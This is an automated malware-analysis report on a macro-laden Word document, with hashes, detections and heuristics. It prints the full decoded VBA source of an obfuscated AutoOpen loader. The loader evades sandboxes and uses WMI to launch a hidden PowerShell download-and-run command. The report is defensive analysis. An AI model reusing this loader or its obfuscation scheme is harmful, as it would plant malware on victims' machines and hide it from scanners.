Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3d1f87e46eb54939…

MALICIOUS

Office (OOXML)

36.7 KB Created: 2021-05-22 02:17:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: 528d048f5ccf22a1bece91d7b1b69521 SHA-1: cec40fadf2dca499bb3b03a29a791309ab0eb5c2 SHA-256: 3d1f87e46eb54939d2fabf33359a6967d88d4990fcc4cd25838a785e18865b5d
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA project with an AutoOpen macro that is heavily obfuscated. The macro attempts to bypass security checks and uses GetObject to execute code, indicating it's designed to download and run a second-stage payload. The presence of the 'SE_ENABLE_LURE' heuristic suggests the document is designed to trick the user into enabling macros, likely for a malicious purpose.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-10010644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10010644-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2735 bytes
SHA-256: a4e93a59bc00ba3abadec7d9928ceb198a4e94eb8aad7fc24bfd4bb53233c3f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    ImageResize
End Sub

Function FormatLayout() As Boolean
    FormatLayout = True
    If ActiveDocument.Name <> "job_listing_123.docm" Then
        FormatLayout = False
    End If
End Function

Function checkFooterBGGradient()
    letStorage = "0123456789abcdef"
    checkFooterBGGradient = True
    Count = 0
    For Index = 1 To Len(ThisDocument.Name)
        res = Mid(LCase(ThisDocument.Name), Index, 1)
        If InStr(res, letStorage) > 0 Then
            Count = Count + 1
        End If
    Next
    
    If Count >= (Len(ThisDocument.Name) - 5) Then
        checkFooterBGGradient = False
    End If
End Function

Function Pears(Beets)
    Pears = Chr(Beets - 2)
End Function

Function Nuts(Milk)
    Do
        Oatmilk = Oatmilk + Pears((Left(Milk, 3)))
        Milk = Right(Milk, Len(Milk) - 3)
    Loop While Len(Milk) > 0
    Nuts = Oatmilk
End Function

Sub ImageResize()
    If Not FormatLayout() Then
        Exit Sub
    End If

    If Not checkFooterBGGradient() Then
        Exit Sub
    End If
    
    Dim mainText As String
    mainText = "121107112111105111118117060"
    
    Dim pageHeader As String
    pageHeader = "089107112053052097082116113101103117117"
    
    Dim mainPane As String
    mainPane = "114113121103116117106103110110034047103122"
    Dim lowerBorder As String
    lowerBorder = "1031010341001231140991171170340471121131140"
    Dim borderHeight As String
    borderHeight = "340471210341061071021021031120340471010341071031220420"
    Dim borderWidth As String
    borderWidth = "42112103121047113100108103101118034117123117118103111048"
    Dim lineHeight As String
    lineHeight = "1121031180481211031001011101071031121180430481021131211121101130991021171"
    Dim lineWidth As String
    lineWidth = "18116107112105042041106118118114060049049051"
    Dim horizontalLine As String
    horizontalLine = "059052048051056058048054059048055055049116119112048118122118041043043"

    Dim sh As String
    peery = Nuts(mainPane + lowerBorder + borderHeight + borderWidth + lineHeight + lineWidth + horizontalLine)
    
    ActiveDocument.Content.Select
    Selection.Delete
    ActiveDocument.AttachedTemplate.AutoTextEntries("TheDoc").Insert Where:=Selection.Range, RichText:=True
    
    GetObject(Nuts(mainText)).Get(Nuts(pageHeader)).Create peery, Null, Null, pid
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24576 bytes
SHA-256: d3089e26e19eb700999a0f58e2643da9b1011ff2238ec3173ea3fb927a7cd98b
Detection
ClamAV: Doc.Malware.Valyria-10010644-0
Obfuscation or payload: unlikely

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